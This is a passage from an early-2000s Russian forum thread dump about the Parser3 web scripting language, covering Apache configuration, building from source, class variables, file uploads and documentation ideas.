видите: тут нет даже обращения GET за страницей с вашей формой.\
\
2.\
не найденный сервер не означает \"проблемы с размером\". означает проблемы с атрибутом <form action=\"что тут?\">"
"7825","рад, что всё хорошо.\
хотя automake немного не при чём. make и automake = разные программы."
"7826","В общем, собралось опять с отбоем групп. Даже после безусловного включения режима в /configure.in...\
Видать что-то я все же забываю... =( эх, знать бы, что..."
"7827","Конфиги:\
<b>httpd.conf:</b>\
ServerType standalone\
ServerRoot \"D:/Apache\"\
PidFile logs/httpd.pid\
ScoreBoardFile logs/apache_runtime_status\
Timeout 300\
KeepAlive On\
MaxKeepAliveRequests 100\
KeepAliveTimeout 15\
MaxRequestsPerChild 0\
ThreadsPerChild 50\
#Listen 3000\
#Listen 12.34.56.78:80\
#BindAddress *\
#загрузка модуля Parser\
LoadModule parser3_module d:/apache/parser/ApacheModuleParser3.dll\
ClearModuleList\
AddModule mod_env.c\
AddModule mod_log_config.c\
AddModule mod_mime.c\
AddModule mod_negotiation.c\
AddModule mod_include.c\
AddModule mod_autoindex.c\
AddModule mod_dir.c\
AddModule mod_isapi.c\
AddModule mod_cgi.c\
AddModule mod_asis.c\
AddModule mod_imap.c\
AddModule mod_actions.c\
AddModule mod_userdir.c\
AddModule mod_alias.c\
AddModule mod_access.c\
AddModule mod_auth.c\
AddModule mod_so.c\
AddModule mod_setenvif.c\
# добавление модуля к списку активных модулей \
AddModule mod_parser3.C\
### Section 2: 'Main' server configuration\
Port 80\
ServerAdmin seler@perm.ru\
ServerName localhost\
DocumentRoot \"e:/LocalHost\"\
<Directory />\
    Options FollowSymLinks\
    AllowOverride None\
</Directory>\
<Directory \"e:/LocalHost\">\
\
 Options Indexes FollowSymLinks MultiViews\
    AllowOverride None\
    Order allow,deny\
    Allow from all\
</Directory>\
\
\
<IfModule mod_userdir.c>\
    UserDir \"D:/Apache/users/\"\
</IfModule>\
\
<IfModule mod_dir.c>\
    DirectoryIndex index.html start.html run.html\
</IfModule>\
\
AccessFileName .htaccess\
\
<Files ~ \"^\\.ht\">\
    Order allow,deny\
    Deny from all\
    Satisfy All\
</Files>\
\
UseCanonicalName On\
\
<IfModule mod_mime.c>\
    TypesConfig conf/mime.types\
</IfModule>\
\
DefaultType text/plain\
\
<IfModule mod_mime_magic.c>\
    MIMEMagicFile conf/magic\
</IfModule>\
\
HostnameLookups Off\
\
ErrorLog logs/error.log\
\
LogLevel warn\
\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b\" common\
LogFormat \"%{Referer}i -> %U\" referer\
LogFormat \"%{User-agent}i\" agent\
\
CustomLog logs/access.log common\
\
ServerSignature On\
\
   #!c:/program files/perl/perl\
\
<IfModule mod_alias.c>\
\
    Alias /icons/ \"D:/Apache/icons/\"\
\
    <Directory \"D:/Apache/icons\">\
        Options Indexes MultiViews\
        AllowOverride None\
        Order allow,deny\
        Allow from all\
    </Directory>\
\
    Alias /manual/ \"D:/Apache/htdocs/manual/\"\
\
    <Directory \"D:/Apache/htdocs/manual\">\
        Options Indexes FollowSymlinks MultiViews\
        AllowOverride None\
        Order allow,deny\
        Allow from all\
    </Directory>\
\
    ScriptAlias /cgi-bin/ \"D:/Apache/cgi-bin/\"\
\
    <Directory \"D:/Apache/cgi-bin\">\
        AllowOverride None\
        Options None\
        Order allow,deny\
        Allow from all\
    </Directory>\
\
</IfModule>\
\
<IfModule mod_autoindex.c>\
\
    IndexOptions FancyIndexing\
\
    AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip\
\
    AddIconByType (TXT,/icons/text.gif) text/*\
    AddIconByType (IMG,/icons/image2.gif) image/*\
    AddIconByType (SND,/icons/sound2.gif) audio/*\
    AddIconByType (VID,/icons/movie.gif) video/*\
\
    AddIcon /icons/binary.gif .bin .exe\
    AddIcon /icons/binhex.gif .hqx\
    AddIcon /icons/tar.gif .tar\
    AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv\
    AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip\
    AddIcon /icons/a.gif .ps .ai .eps\
    AddIcon /icons/layout.gif .html .shtml .htm .pdf\
    AddIcon /icons/text.gif .txt\
    AddIcon /icons/c.gif .c\
    AddIcon /icons/p.gif .pl .py\
    AddIcon /icons/f.gif .for\
    AddIcon /icons/dvi.gif .dvi\
    AddIcon /icons/uuencoded.gif .uu\
    AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl\
    AddIcon /icons/tex.gif .tex\
    AddIcon /icons/bomb.gif core\
\
    AddIcon /icons/back.gif ..\
    AddIcon /icons/hand.right.gif README\
    AddIcon /icons/folder.gif ^^DIRECTORY^^\
    AddIcon /icons/blank.gif ^^BLANKICON^^\
\
    DefaultIcon /icons/unknown.gif\
\
    ReadmeName README\
    HeaderName HEADER\
\
    IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t\
\
</IfModule>\
# End of indexing directives.\
\
#\
# Document types.\
#\
<IfModule mod_mime.c>\
    AddLanguage da .dk\
    AddLanguage nl .nl\
    AddLanguage en .en\
    AddLanguage et .ee\
    AddLanguage fr .fr\
    AddLanguage de .de\
    AddLanguage el .el\
    AddLanguage he .he\
    AddCharset ISO-8859-8 .iso8859-8\
    AddLanguage it .it\
    AddLanguage ja .ja\
    AddCharset ISO-2022-JP .jis\
    AddLanguage kr .kr\
    AddCharset ISO-2022-KR .iso-kr\
    AddLanguage nn .nn\
    AddLanguage no .no\
    AddLanguage pl .po\
    AddCharset ISO-8859-2 .iso-pl\
    AddLanguage pt .pt\
    AddLanguage pt-br .pt-br\
    AddLanguage ltz .lu\
    AddLanguage ca .ca\
    AddLanguage es .es\
    AddLanguage sv .sv\
    AddLanguage cz .cz\
    AddLanguage ru .ru\
    AddLanguage tw .tw\
    AddLanguage zh-tw .tw\
    AddCharset Big5         .Big5    .big5\
    AddCharset WINDOWS-1251 .cp-1251\
    AddCharset CP866        .cp866\
    AddCharset ISO-8859-5   .iso-ru\
    AddCharset KOI8-R       .koi8-r\
    AddCharset UCS-2        .ucs2\
    AddCharset UCS-4        .ucs4\
    AddCharset UTF-8        .utf8\
    AddType application/x-tar .tgz\
\
</IfModule>\
# End of document types.\
\
<IfModule mod_setenvif.c>\
\
    BrowserMatch \"Mozilla/2\" nokeepalive\
    BrowserMatch \"MSIE 4\\.0b2;\" nokeepalive downgrade-1.0 force-response-1.0\
\
    BrowserMatch \"RealPlayer 4\\.0\" force-response-1.0\
    BrowserMatch \"Java/1\\.0\" force-response-1.0\
    BrowserMatch \"JDK/1\\.0\" force-response-1.0\
\
</IfModule>\
\
<i>(ПРИМЕЧАНИЕ: Комментарии вырезаны)</i>\
<b>.htaccess:</b>\
CharsetDisable On\
\
# назначение обработчиком .html страниц\
AddHandler parser3-handler .html\
\
ParserConfig d:/apache/parser/auto.p\
\
# запрет на доступ к .p файлам. основной: auto.p\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>\
<b>Заранее благодарен за любую помощь</b>"
"7828","конечно, можно перестать пользоваться XSL-автомобилем, и ходить DOM-пешком, но выходит…\
* медленно\
* нестандартно=другие поймут с б[b]о[/b]льшими усилиями\
* неэффективно=XSL библиотека написана на C=работает супербыстро, тысячи обращений к DOM библиотеке будут написаны на parser, будет работать медленнее.\
\
сюрприз:\
даже для сборки XML, которого планируется отдать в XSL-transform куда эффективнее/читабельнее/немногословнее использовать \
[code]^xdoc::create{код на parser, создающий <document>…</document>}[/code]\
чем создавать его-же приятным_сердцу DOM-ом.\
причина: сотни вызовов/похоже на обычное создание HTML/длинные идентификаторы."
"7829","даю два оставшихся зуба, что \
./configure\
make\
\
дают без запрещённых foreign-group-files\
\
мой диагноз: банально перепутаны бинарники [старый/новый]."
"7830","вы забыли сделать AllowOverride нужные опции(можно All) для того, чтобы разрешить в .htaccess назначать обработчики, типа так:\
[code]\
...\
<Directory \"e:/LocalHost\">\
\
 Options Indexes FollowSymLinks MultiViews\
    AllowOverride All\
    Order allow,deny\
    Allow from all\
</Directory>\
...\
[/code]"
"7831","Я тут перечел документацию, но не нашёл замечаний насчёт переменных, описанных в пользовательских классах.\
Меня интересует следующее : являются ли переменные, описанные в “моем” классе, глобальными? То есть - я создал свой класс, подключил его, а в файле, куда подключен класс, использую переменные, опсанные в подключаемом классе. Это взлетит?"
"7832","Ща как покажу тут всем, как парсер на FreeBSD45R с разлоченными группами собирают =)\
Итак:\
------------------------------------------------------------------\
bash-2.05$ tar -zxf parser-3.0.0005.tar.gz\
bash-2.05$ mv parser-3.0.0005 parser3project\
bash-2.05$ cd parser3project/\
bash-2.05$ ./configure --disable-foreign-group-files --prefix=/home/gregor/www/cgi/parser3\
...\
bash-2.05$ gmake && gmake install\
------------------------------------------------------------------\
\
И где не прав?"
"7833","Результат действий довольно красноречиво представлен по адресу: http://files.gregor.ru/.pt/"
"7834","1. Ты можешь использовать переменные как статические ^myclass:variable. В этом случае псевдо-конструктором является метод @auto.p класса. В данном случае можно считать переменные класса глобальными.\
\
2. Если ты создаешь экземпляр класса $myclassvar[^myclass::create[]], то обращение к переменным производится так $myclassvar:var. В данном случаем можно считать переменные класса локальными, т.е. принадлежащими конкретному экземпляру класса."
"7835","друзья,\
мне кажется, наконец мы с вами набрали критическую массу обсудить важную вещь, и кто-то один/несколько могут собраться и сделать то, что давно пора сделать.\
\
некоторые слышали про javadoc[http://java.sun.com/j2se/javadoc/]. кто-то видел doxygen[http://www.doxygen.org], результат работы которого и общую идею можно посмотреть применительно к исходникам самого parser [http://parser.ru/docs/src/], взгляните на http://parser.ru/docs/src/classString.htm, видите что происходит? имена и комментарии собраны с исходников.\
\
конечно, можно добавить в тот же doxygen анализатор нашего синтаксиса, это один путь.\
\
но я хочу предложить вниманию другую простую идею:\
пишем на paser: \
берём каталоги[classes, вебпространство], сканируем его на тему .p/.html файлов, рисуем их список и дерево взаимосвязей. \
click в файл: вылезает описание класса, список и описание методов. ссылка с имени, ссылка с метода идёт в листинг файла со строками, причём ссылка с имени идёт на #номер строки.\
\
причём текст описаний брать из .p прямо сейчас.\
не надо будет запускать внешней программы.\
и не будет времени для рассинхронизации исходника и его документации.\
\
вариант синтаксиса:\
\
[code]\
##этот класс работает с гостевой книгой\
##пример использования:\
##@code\
##$gb[^gb::create[обычная]]\
##^gb.form[]\
##^gb.maybe-post[]\
##@endcode\
@CLASS\
gb\
\
##конструктор\
## @param имя имя гостевой книги\
@create[имя]\
код\
\
##выводит форму, внимание, важно, чтобы action был таким-то\
##@todo тут важно добавить поле X  [этот текст собирается со всех описаний на одну общую страницу]\
@form[]\
код\
\
…\
[/code]\
\
\
уверен, это будет полезно всем, задача несложная, кто-нибудь попробует?"
"7836","переменные(поля) класса должны определяться в конструкторе и только в нем если вы хотите получить к ним доступ в экземпляре класса."
"7837","в файле, куда я подключаю класс, перемные вызываются по $КЛАСС: переменная. Это я понял (знал раньше..:)..). В данном случае  перемные не становяться глобальными - Я их делаю глобальными с помощью конструкции $КЛАСС:...\
И, как я понял, классовые переменные нельзя будет вызывать просто как $переменная. Это не есть хорошо, так как придется исправить не один метр кода...:)...\
\
П. С. Я к чему это спрашиваю - Был у нас портал, хороший портал, большой. Почти закончил я его уже, и тут встал вопрос о многоязыковой поддержке. Решили мы этот вопрос традиционно - все текстовые выражения сделали переменными, переменные со значениями загнали в отдельные файлы (русский. р/английский. р и так далее). В зависимости от выбранного языка подключается класс с переменными/значениями. Значения переменных в подключенном классе используются на странице. Вот. Так было задумано. До реализации, как видите, не дошло. Вернее, доходит. Медленно.\
"
"7838","Hello PAF,\
    Я тут как то размышлял на тему функционарности Парсера и мне пришла\
  в голову мысль, что необходимо подумать о механизме подключения\
  внешних модулей. Качать исходники и перекомпилировать\
  каждый раз с появлением нового может не каждый, да и выкачивать\
  полновесную скомпилированную версию с сайта после каждого изменения не очень хорошая\
  практика. Идея в том чтобы было ядро с базовыми фукциями,\
  классами, а если человек хочет работать с гифами или поддержку XML,\
  то он просто берёт и подключает соотв. модуль а не переустанавливает\
  Парсер (это не сложно, конечно, но уровни разные).\
    Ещё неплохо было бы иметь возможность узнать версию Парсера из кода,\
  потому как есть уже 2 версии 3-го Парсера с немного различной\
  функциональностью.\
    Как с возможностью хранения переменных между вызовами скрипта\
  (сессии). Краем уха слышал, что какието подвижки в этом направлении\
  есть.\
    И ещё один не самый насущный вопрос... Как насчёт переменных и\
  методов видимых только внутри класса, т.е. не только public, но\
  и private. Просто зачастую возникает необходимость вынести часть\
  кода в отдельный оператор, но приэтом он становится доступен извне,\
  аналогично и переменными. Есть ли идеи на этот счёт...\
    Мелочи: возможность получить env как хэш для printenv'а, по типу\
  $form:fields; возможность явного получения наименования класса, а не\
  только через is (например для switсh&case); перкодировка произвольной\
  строки например из кои в вин-1254 -- авто перекодировкой на входе не\
  отделаешся, а данные и через заднюю дверь приходят.\
"
"7839","1.\
Сори я так понял нужен лог ошибок(это он)\
43.257.54.149 - admin [09/Oct/2002:12:11:36 +0000] \"GET /admin/adddoc.html HTTP/1.0\" 200 10517 это запрос страницы. Больше в логе ничего.\
2.\
<form method=\"POST\" enctype=\"multipart/form-data\">\
в актион ничего нет. Этот код работает если загружать файлы до дега(точно не скажу) но больше точно не работет."
"7840","была такая мысль, как заметили, модульной сделана загрузка sql драйверов. системные классы тоже со временем можно сделать загружаемыми из внешних модулей, НО.\
не самые базовые. скажем, поведение ^file::justname вещь редкоменяющаяся. а работа с гифами занимает в бинарние десяток килобайт[меньше].\
\
так что пока это не представляется полезным.\
как заметили: у многих возникает проблема с установкой двух-трёх файлов. здесь же появится больше…"
"7841","Как заметили посетители данного форума, очень часто возникает проблема с установкой/настройкой, и для того чтобы решить ее необходимо задать много вопросов, т.к. рассказывать все сразу многие партизаны не желают :)\
\
Есть мнение, что стОит в дистрибутив парсера включить тестовый файлик, который-бы проверял функционирование парсера и помогал-бы получить сразу максимум информации про установленый и настроеный сервер/parser\
\
Мне кажется, что в этом тестовом файлике должны быть следующие шаги, которые будут не только показывать/проверять функционирование парсера, но и помогать диагностировать ошибки:\
\
0. распечатка $request:charset, $responce:charset и др. переменных, которые\
задаются в конфигурационном auto.p и из-за отсутствия которых бывают проблемы\
(типа DOCUMENT_ROOT не туда указывает, грруппы не совпадают и т.д.)\
1. чтение запись куки (первая загрузка - нету куки, далее - есть)\
2. запись/чтение файла в DOCUMENT_ROOT\
3. примитивная математическая операция, операция с датами ...\
4. создание таблицы и меню по ней\
5. создание хеша и foreach по нему\
6. чтение и вывод $form:... (ну и ссылку на себя-же, чтобы добавилась эту $form:..., можно вместе с $form:tables..)\
7. чтение и вывод переменной окружения (можно пачки стандартных, типа парловой\
распечатки переменных окружения, а можно скомбинировать с menu, в таблице задаются переменные окружения, а затем бежим по ним и распечатываем значения)\
8. sendmail (???)\
...\
\
При этом сделать все надо с использованием try, чтобы например запись файла не показала ошибку и\
в этом файле с тестом перекрыть unhandled_exception чтобы народ не думал, что\
это ошибка апача, кода есть ругань парсера...\
\
Думаю, что список продолжат, и возможно кто-нить напишет подобный test.html :)))"
"7842","если запутить бинарник, он сообщает свою версию.\
[code]\
Y:\\parser3project\\parser3\\src\\targets\\cgi\\Debug>parser3.exe\
parser3.exe: file not specified\
Parser/3.0.HEAD Copyright(c) 2001, 2002 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: parser3.exe [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
\
[/code]\
\
а если обратиться по HTTP к самому бинарнику:\
http://parser.ru/cgi-bin/parser.parser3.cgi\
[code]Parser/3.0.HEAD[/code]\
тоже."
"7843","как в результате использовать этот хелп-файл? Написать-то все это дело можно за несколько дней. Но если мы его на Парсере напишем, для его запуска понадобится сервер с установленным Парсером. Или я гоню?! Может я не так понял?\
\
П. С. а получилось бы здорово!"
"7844","Я, как самый настоящий медленный газ, оказывается, включал опцию, наивно полагая, что по-умолчанию она выключена. Надо было просто \"./configure --prefix...\" и все заработало. Спасибо PAF'у, что заметил, а мне пора заново язык учить.\
\
В общем, если кому-то интересна собранная версия парсера3, билда 0005 без ограничения групп - добро пожаловать на http://files.gregor.ru/parser3/ (выложу в 13:00 MSK)."
"7845","это конечно полезно, но = усложнению синтаксиса и уходу parser'a от простых смертных к программистам."
"7846","куда вы предлагаете их положить?\
диск? в какой каталог и в каком формате?\
база? какая база и какая таблица?\
\
это предлагается написать самому, оформить классом/оператором, и пользоваться. это тривиально:\
\
[code]\
^session:put[IDs товаров в корзине;1,2,3]\
…\
^session:get[IDs товаров в корзине]\
\
@CLASS\
session\
\
@auto[]\
выдать/получить $cookie:VisitorID\
$VisitorID[знаем]\
\
@put[key;value]\
куда-угодно положить тройку $VisitorID:$key:$value\
@get[key]\
…\
[/code]"
"7847","я считаю [b]вредной[/b] иметь в языке возможность сделать switch по типу. в языках общего пользования это может в некоторых случаях быть полезным. в нашем: нет.\
\
приведите пример, приведу контр-пример.\
\
разумеется, вам ничто не мешает в ваши классы положить\
\
[code]\
@CLASS\
a\
@auto[]\
$class_name[a]\
[/code]\
\
и сделать любимый_вашему_сердцу_но_никуда_негодный switch:\
[code]\
^switch($class.class_name){…}\
[/code]\
или\
[code]\
^switch($object.CLASS.class_name){…}\
[/code]"
"7848","у меня были мысли о, возможной, необходимости иметь\
[code]\
^file::load[windows-125x;import.xzf]\
[/code]\
\
но я настолько сильно ненавижу перекодирования, что отказался от неё. иметь все исходные документы в единой кодировке: изрядно упрощает понимание происходящего и избавляет от проблем.\
\
перекодирование сужено до минимума: вход/выход от пользователя. даже не стал делать чтение/запись в базу/из базы: базы имеют возможность настройки клиентской кодировки сами.\
\
диагноз: при получении данных через заднюю дверь необходимо перекодировать их самому.\
вариант: обменивайтесь данными в XML формате, вы избавитесь от проблем кодировками, да и ряда других тоже."
"7849","Делаешь файл с макросами @russian[] @english[] и т.д. в которых определяешь свои переменные.\
\
Далее, в корневом auto.p в методе @auto[] определяешь какой у тебе язык и зовешь нужный макрос.\
Таким образом твои переменные будут глобальными для всех остальных файлов."
"7850","если в логе обращений нет обращения с POST, то apache parser не запустил.\
ваш browser говорит вам \"сервер не найден\".\
\
согласитесь, сервер не может быть найден/не найден в зависимости от размера POST.\
\
похоже, вы неточно локализовали ошибку."
"7851","не буду заострять внимание на полностью ошибочной терминологии.\
\
похоже, нужен пример:\
\
файл ru.p\
[code]\
@CLASS\
i\
@auto[]\
$Search[Поиск]\
[/code]\
\
файл en.p\
[code]\
@CLASS\
i\
@auto[]\
$Search[Search]\
[/code]\
\
в вашем коде\
[code]\
#подключаете\
^use[${lang}.p]\
$пользуетесь\
$i:search\
[/code]\
$lang вычисляете как хотите [убедитесь, что вам не подсунули ../../auto]\
"
"7852","приходите вы через год в свой проект… задаёте сами себе вопрос:\
\
где тут что?\
а это что за файл? где он используется?\
ну и как этот объект надо использовать?"
"7854","трудно не соглавиться.\
Меня смущает один факт файл 900Кб загружается а 2Мб нет. Может Ие или squid не работает с такими объемами?"
"7855","Я то подумал - что вы предлагаете сделать хелп по Парсеру! А речь идет о так называемом хелп-файле по создаваемому проекту!\
То есть, этот макрос, или как там его, будет показыват все “моё” сокровище, расписывая и паскладывая все по полочкам - что за функция, что за параметры. Очень замечательная идея! Не обещаю распространение, но для себя я такую вещь напишу обязательно!"
"7856","хорошо, тогда я завтра напишу тоже что-нибудь полезное… и распространение не обещаю.\
\
agat, не забудьте денег взять."
"7858","процитирую кота Матроскина:\
[quote]\
Мы его понимаешь на помойке подобрали, помыли, почистили, а он нам вигвамы рисует.\
[/quote]\
А если серъёзно, то тебе надо код писать с комментариями, чтобы было потом всё понятно, а иначе с этой фичей или без неё, будет лажа. Тут суть в том, что не надо по 10 раз писать одно и тоже для документирования кода."
"7859","и я не уверен в том, что мой код кого-то устроит. Я-то ещё маленький, только только на Парсере разговаривать учусь! Вот вырасту, как Дядя ПАФ, и раздам все всем! Пусть пользуются!\
\
П. С. ...:))))) Ладно, уговорили - как закончу - обещаю выложить. Пока надо продумать реализацию, подходы, план действий. И при этом учитывать, что я тоже рабочий человек! Времени на своё обеспечение у меня в обрез!"
"7861","Да не спорю, что для созданя парсерного кода, UltraEdit-а и т.п. прог вполне хватает.\
\
А визуальность я имею ввиду не такую, как в VB, а то, что реализовано в VisualC для работы с объектами и классам (НЕ рисование кнопок на формах!)\
\
Просто иногда бывает неудобно прокручивать какой-нибудь auto.p, состоящий из 1000 строк и выискивать там нужную тебе строчку типа:\
@xxxxxx[]\
\
конечно можно пользоваться поиском, но куда удобнее было бы, например, выбирать нужный @xxxxxx[] из ниспадающего списка и сразу перейти к нужному куску кода т.д. и т.п.\
\
А что до Borland turboC, turboPascal и им подобных, то лет 10 назад это ещё могло считаться круто, т.к. ничего другого (лучшего) не было или почти не было - все ими пользовались и при этом думали как им повезло, что у них есть такая \"удобная\" среда разработчика (на то время действтельно удобная).\
А появился VisualC++ и все забыли про turboC (потому что в Visual-е столо работать удобнее). Вот такие дела."
"7862","colorer умеет показывать список функций с incremental search по нему."
"7863","Письма вроде бы приходят в windows1251, а outlook пытается увидеть их в KOI8-R, приходится вручную переключать кодировку на виндоус. И при этом заголовок письма все равно смотрится в KOI8-R."
"7864","http://parser.ru/_test.html\
\
Планируется добавить:\
- проверку подключения к БД используя $SQL.connect-string\
- проверку xsl transform\
- проверку переключения кодировок\
...\
ну и может еще кто чего предложит :)\
\
P.S. скоро можно будет скачать... :))"
"7866","как мне послать посетителя на... &#305;&#287;&#287;о&#287; пейдж, если он пишет в ад&#287;есной ст&#287;оке хе&#287;н&#351; всяку&#351;? Несущес тву&#351;щие . х тмл файлы я уже отлавлива&#351;. А если он туда пишет набо&#287; символов - то се&#287;ве&#287; говои&#287;т - не найден. Как мне его &#287;еди&#287;ектить?"
"7867","все-таки 0005 тут не фигурирует... Хотелось-бы видеть где-нить и билд... :)))"
"7870","там и 0005 будет, когда такая версия будет использоваться. у большинства используется бинарная версия, она не HEAD.\
для более любознательных: в unix есть команда[программка]:\
ident parser3\
выдаст список дат всех исходных файлов, максимальная дата = последнее обновление исходников."
"7871","простые наборы символов. Например, юзер пишет в адресной строке просто “мойсервер/бля-бля-бля” - и что? В адресной строке не  задан никакой файл, поэтому, мне кажется, Парсер его не ловит, или у меня че-то не так настроено."
"7876","Если реально, то подскажите как, а то необходимо это, - очень ....\
За ранее благодарен"
"7877","Диск, кталог, базу и таблицу можно указать в конфиге.\
Насчёт самостоятельной реализации. Записать строку в файлик или базу не проблема, а вот если таблицу (хотя для файлов есть .save) или хэш (с вложениями и объектами типа даты). С файлами есть такая проблема -- отсутствие нормального flock'а, а тот который есть недокументирован и немного не понятно как он работает и что случится если его затребует сторонний процесс.\
Про формат могу сказать только одно -- вам виднее."
"7880","А не возможно ли сохранять объекты целиком в \
session/request/page scope?\
\
Как это, например, реализовано в JSP, Moto?\
\
Архитектура позволяет?\
\
Ясно, что, скорее всего, возникнут проблемы с переносимостью самого Парсера."
"7881","Будем считать, что я примерно понял, что здесь написано. Действительно, в документации вскользь сказано (и, опять же, с опечатками), что сопутствующие .dll-ы нужно положить туда же, куда сам модуль. Проблема была именно в этом, правда, потом ещё открылось что нельзя написать AddModule mod_parser3.c, а нужно именно AddModule mod_parser.C. Вообще, настройка мне кажется не очень логичной: загружаем мы модуль LoadModule parser3_module \"...\", а подключаем вовсе mod_parser.C (причём, в отличие от других подключаемых модулей, здесь буква \"Ц\" должна быть большой, что тоже не добавляет ясности).\
\
Так или иначе, модуль у меня заработал, спасибо за помощь."
"7883","... это будет локальный редирект, который обработает Apache, и фичи не выйдет. ;-) Нужно тогда уж \
[code]\
$response:Location[http://${env:SERVER_NAME}${request:uri}]\
[/code]"
"7884","Я насчет перевода Парсера на английский язык... Было тут такое предложение.\
\
Эт конечно хорошо, но тут не так давно спор был достаточно жаркий -- насчет Перла и Парсера, в результате которого выяснилось, что Парсер хорош во многом тем, что он не такой заезженный как Перл -- тут приходится все своими ручками делать. А если переводить его на английский (что, в принципе возможно -- я вообще удивляюсь, как за столько времени никто еще доку не перевел), то появятся те же самые библиотеки полуфабрикатов, и креативность будет уже не та...\
\
Так стОит ли его переводить или нет?\
\
Жду ответа...\
\
Особенно хотелось бы услышать мнение отцов-основателей :)"
"7886","если по коммерческим соображениям будет необходимо перевести доку на английский, - её переведут. Вряд ли у кого-либо найдется столько свободного времени, чтобы сделать это бескорыстно, всё-таки это весьма тяжелая работа.\
\
Да, и сам факт того, что будет английская версия доки и соответственно парсер начнут использовать нерусскоговорящие люди, не сделает его заезженным и достоинство парсера вовсе не в том что он менее заезженный, нежели чем перл.\
\
Насчет креативности - она не изменится от наличия полуфабрикатов, потому что тебя никто не заставляет их использовать."
"7888","где опечатки, если не сложно, мне в мыло: исправлю.\
[b]логично[/b] следовать документации,\
если хотите вникать в суть, заберите исходники и вникайте."
"7889","будет включён в документацию, что не включён: недосмотр.\
что именно непонятно? он что, может \"дать возможность ещё кому-то заблокировать\"? он либо работает, либо нет. совершенно очевидно, что используется exclusive write lock.\
\
угу, стало быть я должен написать базу данных, изобрести формат сериализации всех типов, и чтобы это всё быстро работало, и желательно завтра?\
есть базы данных, есть файлики, есть разные мнения на тот счёт, как хранить. \
разумеется, этого в языке нет, а если будет, то нескоро.\
\
может быть, кто-нибудь вернётся к вопросу о BDB или, хотя бы gdbm.\
я попробовал реализовать класс hashfile для удобного хранения разных мелких сущностей [конечно, ассоциаций string=>string]. но BDB оказался неудобным в CGI варианте, CGI процесс время от времени убивается веб-сервером, и это происходит так, что база блокируется, а чинить её на ходу практически невозможно.\
\
у меня есть наработки по gdbm, кто возьмётся, готов поделиться."
"7890","в большинстве случаев используется cgi скрипт.\
значит эти переменные он должен как-то хранить.\
где?"
"7891","Ramesses, вы что-нибудь в жизни переводили объёмом под мегабайт?\
1. как быстро у вас это получилось, если вы это делали сами?\
2. или сколько денег вы отдали переводчику?\
\
я удивляюсь, что вы удивляетесь."
"7892","можно раскинуть и немного посоображать. Я недавно документацию по Делфи с английского на турец кий переводил - совсем не мало там мегабайтов! Но я сделал так - нашёл неплохой переводчик, прогнал весь текст через него, а потом все полученное ещё раз проверил - не доверяю я даже САМОМУ лучшему переводчику - и в результате получилось очень полезное “вещь” :).\
Вот. Если взять, прогнать Парсеровскую доку через, допустим - Промт-овские переводчики, потом посидеть с недельку, поисправлять ошибки - то можно сделать “вещь” не хуже (я думаю).\
\
П. С. Давно надо было это сделать - самому некогда, а от разве дождешься?..:)... Здесь у меня турки горят желанием Парсер познать, а реальной возможности нет..."
"7893","На сайте одной из дизайнерских студий традиционно переводят доку каждой новой версии Flash. Делают это так: любой жедающий может взять на перевод главу, для этого он шлёт мыло администратору, чтоб он заблокировал для него эту главу, при этом никто другой не может взять эту главу, а переводчик должен закончить её в определённые сроки, зависящие от её размера.\
\
До сих пор у них выходило очень эффетивно. Единственная проблема - разные стили и качество перевода. Но всё ж таки редакторская правка первода проще. чем сам первод.\
\
Насчёт коммерческой эффективности - на неё не стоит надеется. Вряд ли Студия начнёт торговать Парсером как технологией. Они её просто используют для создания сайтов и получают доход от её применения.\
Потому перевод на ангийский вохможен разве что на волне чьего-то энтузиазма."
"7894","меня интересует один вопрос. Если вам захочется меня душить - не стесняйтесь..:))\
Как загрузить картинку на сервер? Дело в том, что за все время моего занятия дизайном мне НИ РАЗУ не приходилось этого делать. Я понимаю, многие из вас сейчас со стулов упали и катаются по полу в припадках - но что мне делать, если не было нужды. а сейчас понадобилось. Я сделал в форме соответствующее поле  с типом “файл”. Картинку собиарюс в БД хранить. при запуске формы все работает, только в базы нечего, кроме хеховских 0000 ничего не пишется. Может мне сначала надо Парсером из поля формы создать объект “имейдж”?\
\
П. С. Да ладно вам! Учится никогда не поздно!..:)))"
"7898","скомпилить не получается :( может кто чего подскажет ?\
\
всё заканчивается на:\
c++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../classes -I../sql -I../lib/pcre -I../classes/gd      -g -O2 -c pa_vstatus.C\
pa_vstatus.C: In method `class Value * VStatus::get_element(const class String &)':\
pa_vstatus.C:29: aggregate `struct rusage u' has incomplete type and cannot be initialized\
pa_vstatus.C:30: `RUSAGE_SELF' undeclared (first use this function)\
pa_vstatus.C:30: (Each undeclared identifier is reported only once\
pa_vstatus.C:30: for each function it appears in.)\
pa_vstatus.C:30: confused by earlier errors, bailing out\
make[2]: *** [pa_vstatus.o] Error 1\
make[2]: Leaving directory `/home/sites/site175/web/tmp/parser-3.0.0005/src/types'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/sites/site175/web/tmp/parser-3.0.0005/src'\
make: *** [all-recursive] Error 1\
"
"7899","Загружаю таблицу из базы и в каждой строку ставлю checkbox. Необходимо стереть строки в БД с помеченными чекбоксами.\
Как сделать оптимально.\
\
[code]\
^connect[$connect_string]{\
  $inform[^table::sql{select\
    AgentID, FirstName, LastName, PIN\
	from\
	  Agent\
	}]\
\
^if($inform){\
<table>\
<tr>\
    <td><b>ID</b></td>\
    <td><b>Имя</b></td>\
    <td><b>Фимилия</b></td>\
    <td><b>PIN</b></td>\
    <td><b>Удалить</b></td>\
</tr>\
\
    ^inform.menu{\
      <tr><td>$inform.AgentID</td>\
      <td>$inform.FirstName</td>\
      <td>$inform.LastName</td>\
      <td>$inform.PIN</td>\
      <td><INPUT TYPE=\"checkbox\" VALUE=\"eraseflag\"></td>\
</tr>\
		}\
	}{	\
Ничего не найдено...\
	}\
}\
</table>\
[/code]\
\
Спасибо.\
"
"7900","sorry za translit..\
\
